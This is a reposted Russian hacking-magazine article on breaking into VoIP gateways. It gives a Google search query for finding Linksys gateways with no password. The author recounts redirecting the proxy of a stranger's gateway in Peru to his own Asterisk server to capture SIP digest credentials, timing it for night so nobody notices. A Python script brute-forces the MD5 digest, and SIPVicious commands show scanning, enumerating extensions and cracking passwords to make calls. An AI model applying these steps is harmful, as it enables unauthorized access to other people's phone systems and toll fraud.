Источник:
http://www.xakep.ru/post/56194/ - Каждому хакеру – по VoIP: ищем и взламываем VoIP-шлюзы
Вводная информация:
На тему астерисков и подбора паролей к ним написано очень много статей. Люди в теме наверняка слышали про набор утилит sipvicious, а многие их даже уже попробовали. Однако, когда ты сканируешь сеть при помощи svmap.py (скрипт входит в вышеупомянутый комплект), то в Сети помимо астерисков находятся различные VoIP-железки, как то: Cisco, AddPac, Linksys и так далее. Как правило, у них есть собственный web-интерфейс. И если ты думаешь, что он запаролен, то ты, наверное, прав. Но не всегда :). У Linksys по умолчанию нет пароля на web-интерфейсе. А зря, ведь многие их железки могут быть доступны извне. На самом деле, незапароленные шлюзы можно искать и при помощи Google. Если в поисковом запросе ввести intitle: "Sipura SPA Configuration", то найдется немало шлюзов Линксис, на которых не выставлен пароль.
SIP-регистрация:
Рассмотрим, как происходит процесс SIP-регистрации. Изначально клиент отправляет на Softswitch (например, Asterisk) запрос "REGISTER", в котором нет пароля, а есть только contact. В ответ приходит сообщение "401 Unauthorized", в котором указано, что нужно пройти "Digest access authentication". В присланном сообщении сгенерированы nonce и realm. Используя nonce и realm (полученные от сервера), пароль и username (прописанные на шлюзе), а также digesturi, шлюз генерит md5-хэш — response — и отправляет все это обратно на Softswitch, который проверяет присланные данные. Если они верные, то возвращает 200 ОК, если нет — снова 401. Получается, если достать дамп регистрации, то у тебя окажутся все данные, кроме пароля, а его можно будет подобрать. Для этого устанавливаем астериск, заводим в нем единственный peer, вбиваем username, как на шлюзе, и прописываем любой пароль. Затем применяем настройки. Простейший пир из /etc/sip.conf: [peru] type=friend username=*username со шлюза* secret=helloworld host=dynamic disallow=all allow=alaw allow=ulaw Далее я запускаю на астериске команду tshark с фильтром по порту 5060 и записью дампа в файл: tshark port 5060 -w /tmp/001.pcap. Затем, зайдя на шлюз, меняю значение Proxy на IP-адрес астериска и жму "Submit all Changes". Когда у меня на часах 10 утра, то в Перу 2 ночи, так что работать со шлюзом очень удобно — можно не опасаться, что перезагрузка шлюза привлечет чье-то внимание. После того как шлюз ребутнулся, в tshark'e ловятся четыре пакета, что означает получение всех необходимых данных. Затем я возвращаю прежнее значение Proxy и снова применяю настройки.
Подбор пароля
Далее я открываю дамп (например, при помощи Wireshark).
Там нахожу пакет REGISTER с response — теперь все данные есть, и дело за малым — написать скрипт для подбора пароля.
Кстати, можно ловить данные и в консоли астериска, для этого набираем в CLI "sip set debug on" и смотрим содержимое пакетов.
Ввиду того, что скрипт, при помощи которого был найден шлюз, писался на питоне, я решил не отступать от традиции и написал очередной сценарий также на питоне.
В нем мне нужно перебирать весь алфавит.
Для этого я использовал готовый класс — он решает проблему с генерацией всех возможных вариантов пароля
и позволяет задать алфавит для перебора (то есть искать только среди цифр, строчных букв и любых их сочетаний).
А также задать длину пароля, начальное и конечное его значения.
Запрос на регистрацию в Wireshark
#!/usr/bin/python
import md5 # подключаем библиотеку, которая будет генерить md5-хэш
# дальше идет класс для подбора пароля
EN = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
# перечисление алфавитов
en = "abcdefghijklmnopqrstuvwxyz"
digits = "1234567890"
space = " "
p = ",.-!?;:'\"/()"
op = "+-*/:^()><="
all_spec = "'~!@#$%^&*-_=+\\|/?.>,>'\";:[]{}"
class ABCIterator:
# ... здесь следует класс, спертый из интернета :)
# ...
# класс закончился, переходим к вводу данных
u=(raw_input('username >> '));
b=(raw_input('realm >> '));
m=(raw_input('method >> '));
d = (raw_input('digestURI >> '));
r = (raw_input('response >> '));
n = (raw_input('nonce >> '));
print u,b,m,d,r,n;
ha2= md5.new(m+":"+d).hexdigest();
# генерим часть ha2 — она будет использоваться для хэширования
response=0;
ch=0; # в эту переменную будет сохраняться
# порядковый номер пароля
for i in ABCIterator(start_len=1, stop_len=8, abc=digits+en):
# указываем, что длина пароля начинается с 1,
# заканчивается на 8, # и при переборе используются
# цифры и буквы нижнего регистра
ch = ch+1;
if ch % 500000 == 0: print i;
# это позволяет выводить на экран только каждый 500000-ый
# вариант пароля
ha1 = md5.new(u+":"+b+":"+i).hexdigest();
response = md5.new(ha1+":"+n+":"+ha2).hexdigest(); # хэшируем
if r == response: # сравниваем хэш с полученным от шлюза
print "------------------>", i;
# если они совпадают, выводит пароль и прекращаем поиск
exit(0);
Как брутят SIP-аккаунты?
Многие атаки на VoIP сводятся к поиску неправильно настроенных PBX (private branch exchange) или, по-русски говоря, офисных АТС. Различного рода сканирования, анализ и подбор паролей чаще всего осуществляются с помощью упомянутого в тексте статьи набора скриптов SIPVicious, написанных на Python'е и работающих под разными ОС. Чтобы лучше понимать материал, вспомним, как осуществляются основные действия на простом примере. 1. Сканирование диапазона подсети (пусть это будет 192.168.1.1/24), чтобы найти BPX. [you@box sipvicious]$ ./svmap 192.168.1.1/24 | SIP Device | User Agent | --------------------------------------------- | 192.168.1.103:5060 | Asterisk PBX | Если верить результатам, то АТС найдена на IP-адресе 192.168.1.103, а работает она на базе Asterisk PBX. 2. Поиск extention'ов (грубо говоря, виртуальных номеров) на найденной АТС. Эти аккаунты можно будет использовать для осуществления звонков. [you@box sipvicious]$ ./svwar.py 192.168.1.103 | Extension | Authentication | ------------------------------ | 123 | reqauth | | 100 | reqauth | | 101 | noauth | Итак, найдено три номера. Мы видим, что номер 101 не требует авторизации. А для 100 и 123 необходима авторизация. 3. Подбор пароля, подставляя числовые значения (они используются более чем часто): [you@box sipvicious]$ ./svcrack.py 192.168.1.103 -u 100 | Extension | Password | ------------------------ | 100 | 100 | Для extention’а "100" пароль подобран! 4. Подбор пароля с использованием словаря: [you@box sipvicious]$ ./svcrack.py 192.168.1.103 -u 123 -d dictionary.txt | Extension | Password | ------------------------ | 123 | secret | Есть пароль и для номера 123! Вот так просто мы нашли АТС, рабочие аккаунты и подобрали для них пароль. Злоумышленник может подставить найденные логин-пароль в свой SIP-клиент (например, X-Lite) и осуществить звонки.